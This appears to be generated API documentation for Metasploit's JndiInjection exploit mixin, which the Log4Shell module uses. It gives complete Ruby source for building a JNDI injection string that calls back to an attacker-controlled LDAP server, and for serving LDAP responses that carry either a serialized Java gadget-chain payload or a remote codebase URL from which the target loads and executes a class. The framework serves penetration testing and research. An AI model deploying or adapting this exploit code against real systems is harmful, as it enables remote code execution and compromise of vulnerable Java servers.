Module: Msf::Exploit::Remote::JndiInjection
- Includes:
- Java, JavaDeserialization, LDAP::Server
- Included in:
- Log4Shell
- Defined in:
- lib/msf/core/exploit/remote/jndi_injection.rb
Instance Attribute Summary
Attributes included from LDAP::Server
Attributes included from SocketServer
Instance Method Summary collapse
-
#build_ldap_search_response(msg_id, base_dn) ⇒ Array
Generate and serialize the payload as an LDAP search response.
-
#build_ldap_search_response_payload ⇒ Array
Build the LDAP response to the search request that contains the serialized payload.
-
#build_ldap_search_response_payload_inline(gadget_chain) ⇒ Array
Build the LDAP response to the search request that contains the serialized payload to be executed.
-
#build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory') ⇒ Array
Build the LDAP response to the search request that contains a reference to an HTTP server from which a remote class will be loaded.
- #initialize(info = {}) ⇒ Object
-
#jndi_string(resource = nil) ⇒ String
Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
-
#on_dispatch_request(client, data) ⇒ Object
LDAP service callbacks.
- #validate_configuration! ⇒ Object
Methods included from LDAP::Server
#on_send_response, #read_ldif, #start_service
Methods included from SocketServer
#_determine_server_comm, #bindhost, #bindport, #cleanup, #cleanup_service, #exploit, #on_client_data, #primer, #regenerate_payload, #srvhost, #srvport, #start_service, #via_string
Methods included from JavaDeserialization
gadget_chains, #generate_java_deserialization_for_command, #generate_java_deserialization_for_payload
Methods included from Powershell
#bypass_powershell_protections, #cmd_psh_payload, #compress_script, #decode_script, #decompress_script, #encode_script, #generate_psh_args, #generate_psh_command_line, #make_subs, #process_subs, #read_script, #run_hidden_psh
Methods included from Java
#build_jar, #compile, #init_jvm, #query_jvm, #save_to_file, #serialized_class_from_jar, #sign_jar
Instance Method Details
#build_ldap_search_response(msg_id, base_dn) ⇒ Array
Generate and serialize the payload as an LDAP search response
83 84 85 86 87 88 89 90 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 83 def build_ldap_search_response(msg_id, base_dn) attrs = build_ldap_search_response_payload appseq = [ base_dn.to_ber, attrs.to_ber_sequence ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) [ msg_id.to_ber, appseq ].to_ber_sequence end |
#build_ldap_search_response_payload ⇒ Array
Build the LDAP response to the search request that contains the serialized payload.
96 97 98 99 100 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 96 def build_ldap_search_response_payload # exploit authors should override this and either call the inline one with a gadget chain that is compatible with # the target or setup an HTTP server and call the remote one build_ldap_search_response_payload_inline('BeanFactory') end |
#build_ldap_search_response_payload_inline(gadget_chain) ⇒ Array
Build the LDAP response to the search request that contains the serialized payload to be executed.
108 109 110 111 112 113 114 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 108 def build_ldap_search_response_payload_inline(gadget_chain) java_payload = generate_java_deserialization_for_payload(gadget_chain, payload) [ [ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence, [ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence ] end |
#build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory') ⇒ Array
Build the LDAP response to the search request that contains a reference to an HTTP server from which a remote class will be loaded. The target must have the trusted code base option enabled for this technique to work. The HTTP server from which the class is hosted is not managed by this method.
124 125 126 127 128 129 130 131 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 124 def build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory') [ [ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence, [ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence, [ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence, [ 'javaCodebase'.to_ber, [ pay_url.to_ber ].to_ber_set ].to_ber_sequence, ] end |
#initialize(info = {}) ⇒ Object
18 19 20 21 22 23 24 25 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 18 def initialize(info = {}) super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) ([ OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true]) ]) end |
#jndi_string(resource = nil) ⇒ String
Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
30 31 32 33 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 30 def jndi_string(resource = nil) resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}" "ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}" end |
#on_dispatch_request(client, data) ⇒ Object
LDAP service callbacks
Handle incoming requests via service mixin
39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 39 def on_dispatch_request(client, data) return if data.strip.empty? data.extend(Net::BER::Extensions::String) begin pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) vprint_status("LDAP request data remaining: #{data}") unless data.empty? resp = case pdu.app_tag when Net::LDAP::PDU::BindRequest # bind request client.authenticated = true service.encode_ldap_response( pdu., Net::LDAP::ResultCodeSuccess, '', '', Net::LDAP::PDU::BindResult ) when Net::LDAP::PDU::SearchRequest # search request if client.authenticated || datastore['LDAP_AUTH_BYPASS'] client.write(build_ldap_search_response(pdu., pdu.search_parameters[:base_object])) service.encode_ldap_response(pdu., Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult) else service.encode_ldap_response(pdu., 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) end else vprint_status("Client sent unexpected request #{pdu.app_tag}") client.close end resp.nil? ? client.close : on_send_response(client, resp) rescue StandardError => e print_error("Failed to handle LDAP request due to #{e}") client.close end resp end |
#validate_configuration! ⇒ Object
133 134 135 136 137 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 133 def validate_configuration! if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') end end |